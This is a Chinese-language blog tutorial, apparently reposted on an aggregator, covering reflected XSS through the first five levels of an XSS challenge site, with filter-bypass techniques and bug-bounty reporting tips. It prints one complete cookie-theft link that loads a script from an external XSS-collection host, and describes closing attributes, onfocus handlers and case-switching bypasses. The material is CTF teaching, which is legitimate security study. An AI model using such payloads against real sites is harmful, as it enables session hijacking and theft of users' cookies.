从xss挑战之旅来重读xss(一)
在開始這篇文章之前,先簡單聊幾句:
- xss很多時(shí)候是雞肋,比如說self-xss
- 很多廠商都會(huì)注明拒收反射xss,如58src
- 遇到請(qǐng)證明危害性的說法就走,人家的潛臺(tái)詞也是拒收反射xss
- 遇到收反射xss的,證明截圖拿cookies能比alert彈個(gè)窗多很多money
- xss有時(shí)候也值很多錢,比如說某廠商的一個(gè)存儲(chǔ)xss就給了3.5k
其實(shí)我們基本上都知道xss是什么,在給廠商提交漏洞的時(shí)候,關(guān)鍵在于著重說明,能影響哪些用戶,怎么影響(操作難度問題),能拿到什么(cookies第一)
下面開始正文,先簡單介紹下xss,然后以xss挑戰(zhàn)之旅來進(jìn)階實(shí)戰(zhàn)xss,視頻版周末更新
如果喜歡這篇文章的,麻煩幫忙去我的b站點(diǎn)個(gè)關(guān)注,點(diǎn)贊,收藏,如果還能投個(gè)硬幣的話,那就再感謝不過了!你的支持是我創(chuàng)作前進(jìn)的最大動(dòng)力!
什么是XSS
-
XSS全稱:
跨站腳本(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets)的縮寫CSS混合,所以改名為XSS;攻擊者會(huì)向web頁面(input表單、URL、留言版等位置)插入惡意JavaScript代碼,導(dǎo)致管理員/用戶訪問時(shí)觸發(fā),從而達(dá)到攻擊者的目的。 -
XSS的危害:
竊取管理員/用戶的cookie非法登錄 -
XSS類型:
1、反射型
2、存儲(chǔ)型
3、DOM型
xss挑戰(zhàn)之旅
http://xss.tesla-space.com/
前情提示:先自我嘗試,遇到問題卡住,或者成功進(jìn)入下一關(guān)再來閱讀,會(huì)收獲更多哦~
第一關(guān)
進(jìn)去首先可以看到,沒有任何的輸入點(diǎn),而頁面上有一個(gè)test(用戶名),url中也有一個(gè)name參數(shù),猜測(cè)是將url中的name獲取到的值,直接放入頁面導(dǎo)致了xss,我們可以先試一下,看看頁面上的值會(huì)不會(huì)根據(jù)name參數(shù)得到的值而改變
確定了我們的猜想,接下來,我們隨便來個(gè)payload
輕松進(jìn)入下一關(guān),沒有任何過濾。當(dāng)然,這里作者只是為了一步一步引導(dǎo)xss學(xué)習(xí),而不是說實(shí)戰(zhàn)中就是這么簡單(小聲bb,確實(shí)也有這么簡單的)
這里暫停一下,我們先來繼續(xù)聊聊反射xss能做什么,比如說這里,我們來反射一個(gè)cookies看看。由于這個(gè)站點(diǎn)沒有設(shè)置cookies,我就直接手動(dòng)給他加cookies,來完成我們的問題演示
接下來,我們來試試,假如黑客要拿到我的cookies,他需要怎么樣的一個(gè)payload,最簡單就是通過xss平臺(tái)來搞定
請(qǐng)注意!!! 除了ctf或者本地測(cè)試,請(qǐng)不要使用網(wǎng)絡(luò)上的xss平臺(tái),因?yàn)槟隳苣玫降娜鏲ookies數(shù)據(jù),這些平臺(tái)也能拿到,可能你是好心做公益測(cè)試,但是cookies的泄露,會(huì)給測(cè)試廠商帶來很大的威脅!
試試效果,看看能不能搞到我編寫的cookies
可以很清楚的看到,已經(jīng)成功拿到了我編寫的cookies。可能對(duì)于小白來說,已經(jīng)有點(diǎn)蒙圈了,我們?cè)賮碚硪槐檫壿嫲?/p>
- 首先,通過這個(gè)網(wǎng)站,我構(gòu)造了一個(gè)模擬真實(shí)的環(huán)境:黑客找到一個(gè)站點(diǎn)存在反射xss,接下來他想要獲取普通用戶或者管理員的cookies(這個(gè)站點(diǎn)沒有cookies,我手動(dòng)添加了cookies),于是他通過xss平臺(tái)構(gòu)造了這樣一個(gè)鏈接http://test.ctf8.com/level1.php?name=<script sRC=https://xss8.cc/yAy4></sCrIpT>
- 普通用戶收到這樣一個(gè)鏈接(一般會(huì)配合一些文字做干擾),沒有注意就點(diǎn)開了,且其已經(jīng)登陸了這個(gè)網(wǎng)站(cookies未失效),所以黑客能輕松拿到用戶的cookies,之后就能以普通用戶的身份進(jìn)行任何操作了
可能你會(huì)說,這樣一個(gè)明顯有問題的鏈接,我肯定不會(huì)點(diǎn),但,黑客可以對(duì)鏈接后面的參數(shù)進(jìn)行混淆,添加無意義參數(shù)進(jìn)行干擾,還可以用短鏈接等等操作,加上很多人的安全意識(shí)還沒有完全養(yǎng)成,所以說反射xss也是有一定危害的
那你可能會(huì)問了,為什么反射xss很多廠商拒絕接受這種漏洞呢?答案當(dāng)然是,這種漏洞的利用其實(shí)非常難,就以cookies舉例
- 用戶安全意識(shí)提高
- 不以cookies做唯一身份令牌,比如說我記錄上次登錄ip,不一樣了就讓這個(gè)cookies失效要求重新登陸;再比如說結(jié)合設(shè)備型號(hào),參數(shù)等等
簡單的反射xss就說這么多了,接下來進(jìn)入第二關(guān)
第二關(guān)
和第一關(guān)一樣的方法,我們先找到可疑的點(diǎn),當(dāng)我們改變唯一輸入點(diǎn)的時(shí)候,頁面有兩處隨之改變
接下來嘗試常規(guī)payload,不能彈窗,也沒有提示下一輪
右鍵查看源碼,發(fā)現(xiàn)已經(jīng)被被編碼轉(zhuǎn)義了
而下面的那處,沒有被轉(zhuǎn)移,其無法彈窗的原因是沒有閉合引號(hào)和尖括號(hào)
我們閉合引號(hào),尖括號(hào)即可成功進(jìn)入下一關(guān),payload如下:
第三關(guān)
和第二關(guān)非常的相似,于是我選擇使用同樣的payload進(jìn)行測(cè)試
這里出現(xiàn)了兩個(gè)問題:
- "無法閉合
- ’變成了",且后面的被編碼了
所以首先,我們先可以使用’閉合前面的",之后由于我們出不去這個(gè)input標(biāo)簽,那我們就直接在標(biāo)簽內(nèi)加載js,可選比如說onclick,onfocus等。之后測(cè)試發(fā)現(xiàn)對(duì)于等號(hào)后面參數(shù)會(huì)自動(dòng)添上"",再就是后面多了一個(gè)’,我們需要使用//注釋掉
最后payload如下:
第四關(guān)
和第三關(guān)非常的相似,我們使用"進(jìn)行value值的閉合,之后直接使用onfocus執(zhí)行js代碼。由于多了一個(gè)",所以我們使用//進(jìn)行注釋,也就是說,執(zhí)行的js代碼是:alert(111)//"
payload如下:
第五關(guān)
這一關(guān)還是和前面幾關(guān)類似,我們繼續(xù)使用第四關(guān)的payload進(jìn)行嘗試,發(fā)現(xiàn)onfocus被攔截了
嘗試大小寫繞過,沒想到直接就成功繞過了
payload如下:
總結(jié)
文章的第一部分就到這里結(jié)束了,總結(jié)一下,我們學(xué)習(xí)了什么:
- 反射xss的原理與危害性在哪里?
- 反射xss如何進(jìn)行彈窗?
- 反射xss如何獲取用戶cookies?
- 通過閉合標(biāo)簽,onfocus,大小寫,規(guī)則猜解來進(jìn)行反射xss的繞過
如果喜歡這篇文章的,麻煩幫忙去我的b站點(diǎn)個(gè)關(guān)注,點(diǎn)贊,收藏,如果還能投個(gè)硬幣的話,那就再感謝不過了!你的支持是我創(chuàng)作前進(jìn)的最大動(dòng)力!
總結(jié)
以上是生活随笔為你收集整理的从xss挑战之旅来重读xss(一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: play home android,pl
- 下一篇: yqsc是什么意思_QSC是什么意思?